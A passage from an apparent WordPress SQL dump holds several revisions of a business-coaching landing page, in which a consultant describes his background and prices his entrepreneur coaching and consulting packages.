highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth –</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design –</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation –</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation –</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I''ve successfully helped business people, in global companies and venture start-ups alike, better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><a href="http://www.pullinc.com" target="_blank">Please visit my brand strategy consulting firm, PULL Brand Innovation.</a>\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:16:02', '2011-01-02 00:16:02', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-105/', 0, 'revision', '', 0),
(1406, 2, '2011-01-01 17:16:43', '2011-01-02 00:16:43', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nYour success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thought is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth –</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design –</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation –</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation –</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I''ve successfully helped business people, in global companies and venture start-ups alike, better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><a href="http://www.pullinc.com" target="_blank">Please visit my brand strategy consulting firm, PULL Brand Innovation.</a>\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:16:43', '2011-01-02 00:16:43', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-106/', 0, 'revision', '', 0),
(1409, 2, '2011-01-01 17:28:14', '2011-01-02 00:28:14', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<strong>About Me</strong>\r\n\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:28:14', '2011-01-02 00:28:14', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-109/', 0, 'revision', '', 0);
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(1410, 2, '2011-01-01 17:28:49', '2011-01-02 00:28:49', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<h2></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<strong>About Me</strong>\r\n\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:28:49', '2011-01-02 00:28:49', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-110/', 0, 'revision', '', 0),
(1411, 2, '2011-01-01 17:29:56', '2011-01-02 00:29:56', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong></strong></span><strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to 